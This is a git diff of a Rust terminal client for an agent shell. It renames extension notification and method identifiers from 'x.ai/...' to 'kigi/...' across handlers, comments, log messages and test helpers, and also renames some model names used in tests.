@@ -638,7 +638,7 @@ fn handle_ext_notification(notif: &acp::ExtNotification, app: &mut AppView) -> b
 /// renders, so legacy shells degrade to "render everywhere" rather than drop.
 fn handle_interjection(notif: &acp::ExtNotification, app: &mut AppView) -> bool {
     let Ok(parsed) = serde_json::from_str::<serde_json::Value>(notif.params.get()) else {
-        tracing::warn!("Failed to parse x.ai/session/interjection");
+        tracing::warn!("Failed to parse kigi/session/interjection");
         return false;
     };
     let Some(session_id) = parsed.get("sessionId").and_then(|v| v.as_str()) else {
@@ -672,7 +672,7 @@ fn handle_interjection(notif: &acp::ExtNotification, app: &mut AppView) -> bool
     // Interjecting into a parked wait continues the turn below this block —
     // the withheld "Worked for …" marker must not fire late beneath it
     // (shared-queue interjects render only via this broadcast, and the shell
-    // emits the queue-emptying `x.ai/queue/changed` right after it).
+    // emits the queue-emptying `kigi/queue/changed` right after it).
     agent.suppress_parked_marker_on_interject();
     is_active
 }
@@ -684,8 +684,8 @@ fn handle_interjection(notif: &acp::ExtNotification, app: &mut AppView) -> bool
 /// immediately (for unknown methods).
 fn handle_ext_method(ext: kigi_acp_lib::AcpArgs<acp::ExtRequest>, app: &mut AppView) -> bool {
     match ext.request.method.as_ref() {
-        "x.ai/ask_user_question" => handle_ask_user_question(ext, app),
-        "x.ai/exit_plan_mode" => handle_exit_plan_mode(ext, app),
+        "kigi/ask_user_question" => handle_ask_user_question(ext, app),
+        "kigi/exit_plan_mode" => handle_exit_plan_mode(ext, app),
         unknown => {
             tracing::warn!("Unknown ext_method: {unknown}");
             ext.response_tx
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/prompt_origin.rs b/crates/codegen/kigi-tui/src/app/acp_handler/prompt_origin.rs
index 565fb0f..ac7bd1b 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/prompt_origin.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/prompt_origin.rs
@@ -11,7 +11,7 @@ pub(crate) fn is_server_initiated_prompt(prompt_id: &str) -> bool {
 /// Cron turns are synthetic (so [`is_server_initiated_prompt`] is also true for
 /// them), but UNLIKE auto-wake / subagent-completion turns they are
 /// CLIENT-driven via `MvpAgent::prompt()` and therefore DO emit a matching
-/// `x.ai/session/prompt_complete` turn-end signal. A viewer can thus safely
+/// `kigi/session/prompt_complete` turn-end signal. A viewer can thus safely
 /// enter `TurnRunning` for them (the exit exists, so it won't strand) — which is
 /// what lets the dashboard show a running `/loop` session as Working.
 pub(crate) fn is_scheduler_fired_prompt(prompt_id: &str) -> bool {
@@ -39,7 +39,7 @@ pub(crate) fn is_wake_prompt(prompt_id: &str) -> bool {
 
 /// Whether a running `prompt_id` is adoptable — i.e. safe to bind as the
 /// viewer's `current_prompt_id` and show as a live `TurnRunning`. The invariant:
-/// adoptable iff the turn emits a terminal `x.ai/session/prompt_complete`, the
+/// adoptable iff the turn emits a terminal `kigi/session/prompt_complete`, the
 /// only non-interactive way a viewer leaves `TurnRunning`. That holds for
 /// user-driven turns and `/loop` (`scheduler-fired-…`) fires — both run via
 /// `MvpAgent::prompt()` — and is false for actor-run synthetic turns
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/queue.rs b/crates/codegen/kigi-tui/src/app/acp_handler/queue.rs
index f0e16b1..b50e533 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/queue.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/queue.rs
@@ -19,7 +19,7 @@ pub(crate) struct PendingRunningAdoption {
     pub turn_ended: bool,
 }
 
-/// Wire payload of `x.ai/session/prompt_complete`, emitted by
+/// Wire payload of `kigi/session/prompt_complete`, emitted by
 /// `MvpAgent::prompt()` on the shell after every turn.
 ///
 /// `Serialize` is derived so tests construct payloads through the same type
@@ -62,7 +62,7 @@ pub(super) fn handle_queue_changed(notif: &acp::ExtNotification, app: &mut AppVi
     let Ok(changed) =
         serde_json::from_str::<crate::app::prompt_queue::QueueChanged>(notif.params.get())
     else {
-        tracing::warn!("Failed to parse x.ai/queue/changed");
+        tracing::warn!("Failed to parse kigi/queue/changed");
         return false;
     };
 
@@ -113,7 +113,7 @@ pub(super) fn handle_queue_changed(notif: &acp::ExtNotification, app: &mut AppVi
         local_current_prompt_id = %local_current_prompt_id,
         entry_count = changed.entries.len(),
         entries = ?recv_entry_ids,
-        "received x.ai/queue/changed broadcast",
+        "received kigi/queue/changed broadcast",
     );
 
     let rekeyed_echo_ids = app.apply_queue_changed(changed);
@@ -384,7 +384,7 @@ pub(super) fn handle_queue_changed(notif: &acp::ExtNotification, app: &mut AppVi
 /// TODO(prompt_complete-deprecation): Legacy removal (gated): durable turn_completed is already consumed via finalize_turn_from_terminal; keep & re-point the lost-RPC reconcile to the durable rail before deleting.
 pub(super) fn handle_prompt_complete(notif: &acp::ExtNotification, app: &mut AppView) -> bool {
     let Ok(payload) = serde_json::from_str::<PromptCompletePayload>(notif.params.get()) else {
-        tracing::warn!("Failed to parse x.ai/session/prompt_complete");
+        tracing::warn!("Failed to parse kigi/session/prompt_complete");
         return false;
     };
     let session_id = payload.session_id.as_str();
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/session_notification.rs b/crates/codegen/kigi-tui/src/app/acp_handler/session_notification.rs
index ccab2a8..f90b316 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/session_notification.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/session_notification.rs
@@ -101,7 +101,7 @@ pub(super) fn advance_reconnect_cursor(agent: &mut AgentView, meta: &mut Notific
         agent.last_seen_event_id = Some(id);
     }
 }
-/// Handle `x.ai/session_notification` and replay-path `x.ai/session/update`.
+/// Handle `kigi/session_notification` and replay-path `kigi/session/update`.
 ///
 /// Routes by `session_id` so events for an inactive agent still mutate that
 /// agent's state. The redraw decision is gated on whether the matched agent
@@ -133,7 +133,7 @@ pub(super) fn handle_session_notification(notif: &acp::ExtNotification, app: &mu
             tracing::debug!(
                 session_id = session_notif.session_id.0.as_ref(),
                 method = notif.method.as_ref(),
-                "load-race: x.ai/session_notification DROPPED — no agent matches session_id"
+                "load-race: kigi/session_notification DROPPED — no agent matches session_id"
             );
             return false;
         }
@@ -159,7 +159,7 @@ pub(super) fn handle_session_notification(notif: &acp::ExtNotification, app: &mu
         agent,
         &meta,
         session_notif.session_id.0.as_ref(),
-        "x.ai/session/update",
+        "kigi/session/update",
     ) {
         return false;
     }
@@ -174,7 +174,7 @@ pub(super) fn handle_session_notification(notif: &acp::ExtNotification, app: &mu
             session_id = session_notif.session_id.0.as_ref(),
             event_seq = meta.event_seq,
             last_applied = agent.last_applied_xai_event_seq,
-            "x.ai/session update DROPPED by dedup highwater (event_seq <= last_applied)"
+            "kigi/session update DROPPED by dedup highwater (event_seq <= last_applied)"
         );
         return false;
     }
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/settings.rs b/crates/codegen/kigi-tui/src/app/acp_handler/settings.rs
index e9073b0..70be5ac 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/settings.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/settings.rs
@@ -1,14 +1,14 @@
 use super::*;
 use serde::Deserialize;
 
-/// Handle `x.ai/models/update` — model list changed (etag-triggered refresh).
+/// Handle `kigi/models/update` — model list changed (etag-triggered refresh).
 pub(super) fn handle_models_update(notif: &acp::ExtNotification, app: &mut AppView) -> bool {
     if let Ok(model_state) = serde_json::from_str::<acp::SessionModelState>(notif.params.get()) {
         use crate::acp::model_state::ModelState;
         let new_models = ModelState::from(Some(model_state));
         tracing::info!(
             count = new_models.available.len(),
-            "models updated via x.ai/models/update"
+            "models updated via kigi/models/update"
         );
 
         let shell_fallback_current = new_models.current.clone();
@@ -46,15 +46,15 @@ pub(super) fn handle_models_update(notif: &acp::ExtNotification, app: &mut AppVi
         }
         true
     } else {
-        tracing::warn!("Failed to parse x.ai/models/update");
+        tracing::warn!("Failed to parse kigi/models/update");
         false
     }
 }
 
-/// Handle `x.ai/settings/update` — remote settings refreshed on `/new`.
+/// Handle `kigi/settings/update` — remote settings refreshed on `/new`.
 pub(super) fn handle_settings_update(notif: &acp::ExtNotification, app: &mut AppView) -> bool {
     let Ok(update) = serde_json::from_str::<PagerSettingsUpdate>(notif.params.get()) else {
-        tracing::warn!("Failed to parse x.ai/settings/update");
+        tracing::warn!("Failed to parse kigi/settings/update");
         return false;
     };
 
@@ -221,7 +221,7 @@ pub(super) fn handle_settings_update(notif: &acp::ExtNotification, app: &mut App
         }
     }
 
-    tracing::info!("settings updated via x.ai/settings/update");
+    tracing::info!("settings updated via kigi/settings/update");
     true
 }
 
@@ -249,7 +249,7 @@ pub(super) fn apply_soft_default_permission_mode(
 }
 
 /// Tell live sessions to leave Auto on the mid-session kill-switch: fire the
-/// `x.ai/yolo_mode_changed` notification the agent maps to
+/// `kigi/yolo_mode_changed` notification the agent maps to
 /// `SetAutoMode { enabled: false }`, fire-and-forget over the shared ACP channel.
 /// The notification is CLIENT-scoped (the agent applies it to every session of
 /// the sending client), so one send covers all affected sessions. `yolo_mode` is
@@ -264,7 +264,7 @@ pub(super) fn notify_sessions_leave_auto(app: &AppView, session_ids: &[acp::Sess
         "permission_mode": "ask",
     });
     let notification = acp::ExtNotification::new(
-        "x.ai/yolo_mode_changed",
+        "kigi/yolo_mode_changed",
         serde_json::value::to_raw_value(&params)
             .expect("serialize yolo_mode_changed params")
             .into(),
@@ -277,12 +277,12 @@ pub(super) fn notify_sessions_leave_auto(app: &AppView, session_ids: &[acp::Sess
     let _ = app.acp_tx.send(args.into());
 }
 
-/// Handle `x.ai/sessions/changed` — the leader broadcasts roster
+/// Handle `kigi/sessions/changed` — the leader broadcasts roster
 /// upserts/removals to all clients (FleetView dashboard).
 pub(super) fn handle_sessions_changed(notif: &acp::ExtNotification, app: &mut AppView) -> bool {
     let Ok(changed) = serde_json::from_str::<crate::app::roster::RosterChanged>(notif.params.get())
     else {
-        tracing::warn!("Failed to parse x.ai/sessions/changed");
+        tracing::warn!("Failed to parse kigi/sessions/changed");
         return false;
     };
     let mut affected = false;
@@ -297,7 +297,7 @@ pub(super) fn handle_sessions_changed(notif: &acp::ExtNotification, app: &mut Ap
     affected
 }
 
-/// Deserialization type for the `x.ai/settings/update` notification payload.
+/// Deserialization type for the `kigi/settings/update` notification payload.
 ///
 /// This is intentionally a separate struct from `SettingsUpdateNotification` in
 /// `kigi-shell/src/agent/mvp_agent.rs`. The shell side derives `Serialize`
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/subagent_activity.rs b/crates/codegen/kigi-tui/src/app/acp_handler/subagent_activity.rs
index 70eb5a7..d169c20 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/subagent_activity.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/subagent_activity.rs
@@ -98,6 +98,6 @@ pub(crate) fn finalize_killed_subagent(
     let Ok(params) = serde_json::value::to_raw_value(&payload) else {
         return false;
     };
-    let notif = acp::ExtNotification::new("x.ai/session/update", params.into());
+    let notif = acp::ExtNotification::new("kigi/session/update", params.into());
     handle_ext_notification(&notif, app)
 }
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/background_tasks.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/background_tasks.rs
index 6d51e9c..93a9918 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/background_tasks.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/background_tasks.rs
@@ -2,7 +2,7 @@
     use super::*;
 
     /// Regression (resume sync): the on-disk replay stream re-emits persisted
-    /// notifications through the generic `x.ai/session/update` envelope. A
+    /// notifications through the generic `kigi/session/update` envelope. A
     /// background `monitor`/bash task (`TaskBackgrounded`) must restore into
     /// `bg_tasks` on a resumed / second terminal — not be dropped by the
     /// default match arm — so the idle "watching" status line and the Tasks pane
@@ -24,7 +24,7 @@
             description: None,
         };
         handle(
-            make_ext_session_notification_with_method("sess-1", "x.ai/session/update", update),
+            make_ext_session_notification_with_method("sess-1", "kigi/session/update", update),
             &mut app,
         );
 
@@ -51,7 +51,7 @@
         handle(
             make_ext_session_notification_with_method(
                 "sess-1",
-                "x.ai/session/update",
+                "kigi/session/update",
                 XaiSessionUpdate::ScheduledTaskCreated {
                     task_id: "loop-1".into(),
                     prompt: "check deploy".into(),
@@ -72,7 +72,7 @@
         handle(
             make_ext_session_notification_with_method(
                 "sess-1",
-                "x.ai/session/update",
+                "kigi/session/update",
                 XaiSessionUpdate::ScheduledTaskDeleted {
                     task_id: "loop-1".into(),
                 },
@@ -177,7 +177,7 @@
             meta: None,
         };
         let raw = serde_json::value::to_raw_value(&notif).unwrap();
-        let notif = acp::ExtNotification::new("x.ai/task_backgrounded", raw.into());
+        let notif = acp::ExtNotification::new("kigi/task_backgrounded", raw.into());
         assert!(handle_task_backgrounded(&notif, &mut app));
 
         let agent = app.agents.get(&AgentId(0)).unwrap();
@@ -232,7 +232,7 @@
             meta: None,
         };
         let raw = serde_json::value::to_raw_value(&notif).unwrap();
-        let notif = acp::ExtNotification::new("x.ai/task_backgrounded", raw.into());
+        let notif = acp::ExtNotification::new("kigi/task_backgrounded", raw.into());
         assert!(handle_task_backgrounded(&notif, &mut app));
 
         let agent = app.agents.get(&AgentId(0)).unwrap();
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/follow_ups.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/follow_ups.rs
index a0d9470..ca52407 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/follow_ups.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/follow_ups.rs
@@ -81,10 +81,10 @@
         let params = serde_json::json!({
             "response_id": "resp-1",
             "suggestions": [{ "label": "x" }],
-            "_meta": { "x.ai/replayed": true },
+            "_meta": { "kigi/replayed": true },
         });
         let notif = acp::ExtNotification::new(
-            "x.ai/follow_ups",
+            "kigi/follow_ups",
             serde_json::value::to_raw_value(&params).unwrap().into(),
         );
         let affected = handle_ext_notification(&notif, &mut app);
@@ -103,7 +103,7 @@
         ];
         for params in bad {
             let notif = acp::ExtNotification::new(
-                "x.ai/follow_ups",
+                "kigi/follow_ups",
                 serde_json::value::to_raw_value(&params).unwrap().into(),
             );
             let affected = handle_ext_notification(&notif, &mut app);
@@ -214,10 +214,10 @@
         let params = serde_json::json!({
             "response_id": "resp-1",
             "suggestions": [{ "label": "x" }],
-            "_meta": { "x.ai/replayed": false },
+            "_meta": { "kigi/replayed": false },
         });
         let notif = acp::ExtNotification::new(
-            "x.ai/follow_ups",
+            "kigi/follow_ups",
             serde_json::value::to_raw_value(&params).unwrap().into(),
         );
         assert!(
@@ -235,7 +235,7 @@
             serde_json::json!({ "response_id": "r", "suggestions": [null] }),
         ] {
             let notif = acp::ExtNotification::new(
-                "x.ai/follow_ups",
+                "kigi/follow_ups",
                 serde_json::value::to_raw_value(&bad).unwrap().into(),
             );
             assert!(
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/goals.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/goals.rs
index 99ca144..ceb4308 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/goals.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/goals.rs
@@ -38,7 +38,7 @@
                 "token_baseline": 100,
                 "finished_subagent_tokens": 99,
                 "live_subagent_tokens": 4_321,
-                "live_tokens_by_model": [["grok-4", 6_000], ["grok-3", 4_000]],
+                "live_tokens_by_model": [["kigi-4", 6_000], ["kigi-3", 4_000]],
                 "live_context_pct": 42,
                 "live_turn_count": 7,
                 "live_tool_call_count": 11,
@@ -54,7 +54,7 @@
             }
         });
         let raw = serde_json::value::to_raw_value(&raw_payload).unwrap();
-        let request = acp::ExtNotification::new("x.ai/session_notification", raw.into());
+        let request = acp::ExtNotification::new("kigi/session_notification", raw.into());
         let (tx, _rx) = tokio::sync::oneshot::channel();
         let msg = AcpClientMessage::ExtNotification(kigi_acp_lib::AcpArgs {
             request,
@@ -94,7 +94,7 @@
         assert_eq!(goal.live_subagent_tokens, Some(4_321));
         assert_eq!(
             goal.live_tokens_by_model,
-            vec![("grok-4".to_owned(), 6_000), ("grok-3".to_owned(), 4_000)],
+            vec![("kigi-4".to_owned(), 6_000), ("kigi-3".to_owned(), 4_000)],
             "populated per-model breakdown must round-trip wire->display"
         );
         assert_eq!(goal.live_context_pct, Some(42));
@@ -147,7 +147,7 @@
             let (tx, _rx) = tokio::sync::oneshot::channel();
             handle(
                 AcpClientMessage::ExtNotification(kigi_acp_lib::AcpArgs {
-                    request: acp::ExtNotification::new("x.ai/session_notification", raw.into()),
+                    request: acp::ExtNotification::new("kigi/session_notification", raw.into()),
                     response_tx: tx,
                 }),
                 app,
@@ -372,7 +372,7 @@
             }
         });
         let raw = serde_json::value::to_raw_value(&raw_payload).unwrap();
-        let request = acp::ExtNotification::new("x.ai/session_notification", raw.into());
+        let request = acp::ExtNotification::new("kigi/session_notification", raw.into());
         let (tx, _rx) = tokio::sync::oneshot::channel();
         let msg = AcpClientMessage::ExtNotification(kigi_acp_lib::AcpArgs {
             request,
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/interactions.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/interactions.rs
index 2e7e6fb..34cdb8c 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/interactions.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/interactions.rs
@@ -127,7 +127,7 @@
         }))
         .unwrap();
         let msg = AcpClientMessage::ExtMethod(kigi_acp_lib::AcpArgs {
-            request: acp::ExtRequest::new("x.ai/ask_user_question", raw.into()),
+            request: acp::ExtRequest::new("kigi/ask_user_question", raw.into()),
             response_tx: tx,
         });
 
@@ -168,7 +168,7 @@
         }))
         .unwrap();
         let msg = AcpClientMessage::ExtMethod(kigi_acp_lib::AcpArgs {
-            request: acp::ExtRequest::new("x.ai/ask_user_question", raw.into()),
+            request: acp::ExtRequest::new("kigi/ask_user_question", raw.into()),
             response_tx: tx,
         });
 
@@ -270,7 +270,7 @@
         let raw = serde_json::value::to_raw_value(&ext_req).unwrap();
         handle(
             AcpClientMessage::ExtMethod(kigi_acp_lib::AcpArgs {
-                request: acp::ExtRequest::new("x.ai/exit_plan_mode", raw.into()),
+                request: acp::ExtRequest::new("kigi/exit_plan_mode", raw.into()),
                 response_tx: tx,
             }),
             &mut app,
@@ -317,7 +317,7 @@
         let raw = serde_json::value::to_raw_value(&ext_req).unwrap();
         handle(
             AcpClientMessage::ExtMethod(kigi_acp_lib::AcpArgs {
-                request: acp::ExtRequest::new("x.ai/exit_plan_mode", raw.into()),
+                request: acp::ExtRequest::new("kigi/exit_plan_mode", raw.into()),
                 response_tx: tx,
             }),
             &mut app,
@@ -355,7 +355,7 @@
         let raw = serde_json::value::to_raw_value(&ext_req).unwrap();
         handle(
             AcpClientMessage::ExtMethod(kigi_acp_lib::AcpArgs {
-                request: acp::ExtRequest::new("x.ai/exit_plan_mode", raw.into()),
+                request: acp::ExtRequest::new("kigi/exit_plan_mode", raw.into()),
                 response_tx: tx,
             }),
             &mut app,
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/interjection.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/interjection.rs
index 0eb3773..fb54d94 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/interjection.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/interjection.rs
@@ -2,7 +2,7 @@
     use super::*;
 
     /// Regression: a shared-queue interjection renders only via the broadcast,
-    /// and the shell emits the queue-emptying `x.ai/queue/changed` right after
+    /// and the shell emits the queue-emptying `kigi/queue/changed` right after
     /// it — which used to fire the withheld parked marker BELOW the just-
     /// rendered user message ("Worked for …" under the follow-up, flipped
     /// transcript order). The broadcast must consume the marker slot instead.
@@ -680,7 +680,7 @@
         );
     }
 
-    /// `x.ai/task_backgrounded` arriving after the skipped zero-work wait
+    /// `kigi/task_backgrounded` arriving after the skipped zero-work wait
     /// re-evaluates and restores the park.
     #[test]
     fn task_backgrounded_after_zero_work_wait_all_restores_park() {
@@ -716,7 +716,7 @@
     #[test]
     fn interjection_notification_pushes_block_to_matching_session() {
         // Multi-client fix: an interjection typed in one pane is broadcast by
-        // the shell as x.ai/session/interjection; EVERY attached pane (incl.
+        // the shell as kigi/session/interjection; EVERY attached pane (incl.
         // the originator, which no longer pushes a local block) renders it.
         let mut app = make_app_with_agent("sess-view");
         let affected =
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/mcp.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/mcp.rs
index 99877a5..cadf821 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/mcp.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/mcp.rs
@@ -117,7 +117,7 @@
 
     #[test]
     fn mcp_initialized_clears_progress() {
-        // x.ai/mcp_initialized must set mcp_init_progress to None.
+        // kigi/mcp_initialized must set mcp_init_progress to None.
         let mut app = make_app_with_agent("sess-1");
         let agent = app.agents.get_mut(&AgentId(0)).unwrap();
         agent.mcp_init_progress = Some(crate::app::agent_view::McpInitProgress {
@@ -408,7 +408,7 @@
             // NB: no `status`.
         });
         let raw = serde_json::value::to_raw_value(&payload).unwrap();
-        let notif = acp::ExtNotification::new("x.ai/mcp/server_status", raw.into());
+        let notif = acp::ExtNotification::new("kigi/mcp/server_status", raw.into());
         let redraw = handle_mcp_server_status(&notif, &mut app);
         assert!(!redraw, "malformed payload must not request a redraw");
 
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/mod.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/mod.rs
index c950576..67b9eca 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/mod.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/mod.rs
@@ -151,7 +151,7 @@ pub(super) fn interjection_broadcast(
     text: &str,
 ) -> acp::ExtNotification {
     acp::ExtNotification::new(
-        "x.ai/session/interjection",
+        "kigi/session/interjection",
         std::sync::Arc::from(
             serde_json::value::to_raw_value(
                     &serde_json::json!({ "sessionId" : session_id, "text" : text, }),
@@ -233,7 +233,7 @@ pub(super) fn follow_ups_ext(
         { "response_id" : response_id, "suggestions" : suggestions, }
     );
     acp::ExtNotification::new(
-        "x.ai/follow_ups",
+        "kigi/follow_ups",
         std::sync::Arc::from(serde_json::value::to_raw_value(&params).unwrap()),
     )
 }
@@ -251,7 +251,7 @@ pub(super) fn follow_ups_ext_with_prompt(
         suggestions, }
     );
     acp::ExtNotification::new(
-        "x.ai/follow_ups",
+        "kigi/follow_ups",
         std::sync::Arc::from(serde_json::value::to_raw_value(&params).unwrap()),
     )
 }
@@ -263,7 +263,7 @@ pub(super) fn group_tool_verbs_settings_update(
         None => serde_json::json!({}),
     };
     acp::ExtNotification::new(
-        "x.ai/settings/update",
+        "kigi/settings/update",
         std::sync::Arc::from(serde_json::value::to_raw_value(&params).unwrap()),
     )
 }
@@ -275,7 +275,7 @@ pub(super) fn collapsed_edit_blocks_settings_update(
         None => serde_json::json!({}),
     };
     acp::ExtNotification::new(
-        "x.ai/settings/update",
+        "kigi/settings/update",
         std::sync::Arc::from(serde_json::value::to_raw_value(&params).unwrap()),
     )
 }
@@ -289,7 +289,7 @@ pub(super) fn subagent_ext_replay(
         "eventId" : event_id }, }
     );
     acp::ExtNotification::new(
-        "x.ai/session/update",
+        "kigi/session/update",
         std::sync::Arc::from(serde_json::value::to_raw_value(&params).unwrap()),
     )
 }
@@ -315,7 +315,7 @@ pub(super) fn make_exit_plan_ext_with_tool_call_id(
             ),
         )
         .unwrap();
-    let request = acp::ExtRequest::new("x.ai/exit_plan_mode", raw.into());
+    let request = acp::ExtRequest::new("kigi/exit_plan_mode", raw.into());
     let (tx, rx) = tokio::sync::oneshot::channel();
     (
         kigi_acp_lib::AcpArgs {
@@ -359,11 +359,11 @@ pub(super) fn queue_changed_ext(session_id: &str, ids: &[&str]) -> acp::ExtNotif
         .collect();
     let params = serde_json::json!({ "sessionId" : session_id, "entries" : entries });
     acp::ExtNotification::new(
-        "x.ai/queue/changed",
+        "kigi/queue/changed",
         std::sync::Arc::from(serde_json::value::to_raw_value(&params).unwrap()),
     )
 }
-/// Build a `x.ai/queue/changed` notification carrying `runningPromptId`.
+/// Build a `kigi/queue/changed` notification carrying `runningPromptId`.
 pub(super) fn queue_changed_running(
     session_id: &str,
     ids: &[&str],
@@ -386,7 +386,7 @@ pub(super) fn queue_changed_running(
         params["runningPromptId"] = serde_json::Value::String(r.to_string());
     }
     acp::ExtNotification::new(
-        "x.ai/queue/changed",
+        "kigi/queue/changed",
         std::sync::Arc::from(serde_json::value::to_raw_value(&params).unwrap()),
     )
 }
@@ -469,7 +469,7 @@ pub(super) fn tool_call_block_count(agent: &AgentView) -> usize {
 pub(super) fn make_inject_notif(payload: &serde_json::Value) -> acp::ExtNotification {
     let raw = serde_json::value::to_raw_value(payload).unwrap();
     acp::ExtNotification::new(
-        "x.ai/scheduled_task_inject_prompt",
+        "kigi/scheduled_task_inject_prompt",
         std::sync::Arc::from(raw),
     )
 }
@@ -491,7 +491,7 @@ pub(super) fn make_fired_notif(
         meta: None,
     };
     let raw = serde_json::value::to_raw_value(&notif).unwrap();
-    acp::ExtNotification::new("x.ai/scheduled_task_fired", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/scheduled_task_fired", std::sync::Arc::from(raw))
 }
 /// Set up an app with two agents; the active view points to agent 1, but
 /// agent 0 owns the scheduled task. Handlers that gate on `active_view`
@@ -531,7 +531,7 @@ pub(super) fn make_created_ext_notif(
         meta: None,
     };
     let raw = serde_json::value::to_raw_value(&notif).unwrap();
-    acp::ExtNotification::new("x.ai/scheduled_task_created", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/scheduled_task_created", std::sync::Arc::from(raw))
 }
 pub(super) fn make_deleted_ext_notif(
     session_id: &str,
@@ -545,7 +545,7 @@ pub(super) fn make_deleted_ext_notif(
         meta: None,
     };
     let raw = serde_json::value::to_raw_value(&notif).unwrap();
-    acp::ExtNotification::new("x.ai/scheduled_task_deleted", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/scheduled_task_deleted", std::sync::Arc::from(raw))
 }
 pub(super) fn make_token_notification_message(
     session_id: &str,
@@ -697,7 +697,7 @@ pub(super) fn xai_model_switch_notif(
         meta: Some(serde_json::json!({ "eventId" : event_id })),
     };
     acp::ExtNotification::new(
-        "x.ai/session/update",
+        "kigi/session/update",
         std::sync::Arc::from(serde_json::value::to_raw_value(&payload).unwrap()),
     )
 }
@@ -711,7 +711,7 @@ pub(super) fn xai_unhandled_notif(
         meta: Some(serde_json::json!({ "eventId" : event_id })),
     };
     acp::ExtNotification::new(
-        "x.ai/session/update",
+        "kigi/session/update",
         std::sync::Arc::from(serde_json::value::to_raw_value(&payload).unwrap()),
     )
 }
@@ -741,19 +741,19 @@ pub(super) fn make_token_notification_with_event(
         response_tx: tx,
     })
 }
-/// Build an `x.ai/session/prompt_complete` ext-notification for `session_id`.
+/// Build an `kigi/session/prompt_complete` ext-notification for `session_id`.
 pub(super) fn prompt_complete_ext(session_id: &str) -> acp::ExtNotification {
     let raw = serde_json::value::to_raw_value(
             &serde_json::json!({ "sessionId" : session_id, "stopReason" : "end_turn", }),
         )
         .unwrap();
-    acp::ExtNotification::new("x.ai/session/prompt_complete", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/session/prompt_complete", std::sync::Arc::from(raw))
 }
 /// Insert a fresh agent at `id` with an optional pre-assigned session id.
 pub(super) fn insert_agent(app: &mut AppView, id: AgentId, session_id: Option<&str>) {
     app.agents.insert(id, make_agent(session_id));
 }
-/// Build an `x.ai/session/prompt_complete` ext-notification with an explicit
+/// Build an `kigi/session/prompt_complete` ext-notification with an explicit
 /// `stopReason` and optional `agentResult`.
 pub(super) fn prompt_complete_ext_with_reason(
     session_id: &str,
@@ -767,9 +767,9 @@ pub(super) fn prompt_complete_ext_with_reason(
         payload["agentResult"] = serde_json::json!(r);
     }
     let raw = serde_json::value::to_raw_value(&payload).unwrap();
-    acp::ExtNotification::new("x.ai/session/prompt_complete", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/session/prompt_complete", std::sync::Arc::from(raw))
 }
-/// Build an `x.ai/session/prompt_complete` ext-notification carrying a
+/// Build an `kigi/session/prompt_complete` ext-notification carrying a
 /// `promptId` (shells with the lost-response fix). Built through the
 /// typed [`PromptCompletePayload`] so the test wire shape can never
 /// drift from what `handle_prompt_complete` parses.
@@ -789,7 +789,7 @@ pub(super) fn prompt_complete_ext_with_prompt_id(
             },
         )
         .unwrap();
-    acp::ExtNotification::new("x.ai/session/prompt_complete", std::sync::Arc::from(raw))
+    acp::ExtNotification::new("kigi/session/prompt_complete", std::sync::Arc::from(raw))
 }
 /// Build a live `AgentMessageChunk` whose meta carries `promptId` plus a
 /// `turnStartMs` `start_ms_ago` milliseconds in the past — drives the viewer
@@ -822,7 +822,7 @@ pub(super) fn make_viewer_chunk_with_turn_start(
         response_tx: tx,
     })
 }
-/// Build a durable `TurnCompleted` update on the `x.ai/session/update` rail,
+/// Build a durable `TurnCompleted` update on the `kigi/session/update` rail,
 /// optionally stamped `isReplay`. Built through the typed `SessionNotification`
 /// so the wire shape can't drift from what the dispatch parses.
 pub(super) fn xai_turn_completed_notif(
@@ -842,7 +842,7 @@ pub(super) fn xai_turn_completed_notif(
         meta: Some(serde_json::json!({ "isReplay" : is_replay })),
     };
     acp::ExtNotification::new(
-        "x.ai/session/update",
+        "kigi/session/update",
         std::sync::Arc::from(serde_json::value::to_raw_value(&payload).unwrap()),
